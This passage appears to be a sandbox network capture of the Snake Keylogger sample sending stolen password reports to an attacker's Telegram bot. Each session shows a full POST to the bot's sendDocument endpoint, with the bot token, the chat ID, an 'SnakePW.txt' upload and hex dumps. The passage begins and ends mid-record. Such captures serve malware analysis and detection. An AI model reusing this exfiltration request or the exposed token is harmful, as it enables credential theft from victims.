--------------------------8da5757184b76f0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:32 UTC	446	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:32 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:32 UTC	447	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 34 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67049,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228872,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
265	192.168.2.5	50188	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:32 UTC	447	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575718824b6c Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:32 UTC	447	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 38 38 32 34 62 36 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575718824b6cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:33 UTC	448	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:33 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:33 UTC	448	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 35 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67050,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228873,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
266	192.168.2.5	50192	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:33 UTC	449	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575718ed951d Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:33 UTC	449	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 38 65 64 39 35 31 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575718ed951dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:33 UTC	450	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:33 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:33 UTC	450	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 35 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67051,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228873,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
267	192.168.2.5	50195	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:33 UTC	450	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575719293048 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:33 UTC	451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 39 32 39 33 30 34 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575719293048Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:34 UTC	451	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:34 GMT Content-Type: application/json Content-Length: 510 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:34 UTC	452	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 35 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67052,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228874,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
268	192.168.2.5	50197	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:34 UTC	452	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757196006aa Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:34 UTC	452	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 39 36 30 30 36 61 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757196006aaContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:34 UTC	453	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:34 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:34 UTC	453	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 35 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67053,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228874,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
269	192.168.2.5	50200	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:34 UTC	454	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757199ba0d3 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:34 UTC	454	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 39 39 62 61 30 64 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757199ba0d3Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:34 UTC	455	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:34 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:34 UTC	455	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 35 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67054,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228874,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.5	49795	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:49 UTC	45	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756dad82d11 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:49 UTC	45	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 61 64 38 32 64 31 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756dad82d11Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:49 UTC	46	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:49 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:49 UTC	46	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 37 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66774,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228769,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
270	192.168.2.5	50203	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:35 UTC	455	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575719d99d79 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:35 UTC	456	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 39 64 39 39 64 37 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575719d99d79Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:35 UTC	456	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:35 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:35 UTC	457	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 35 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 37 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: 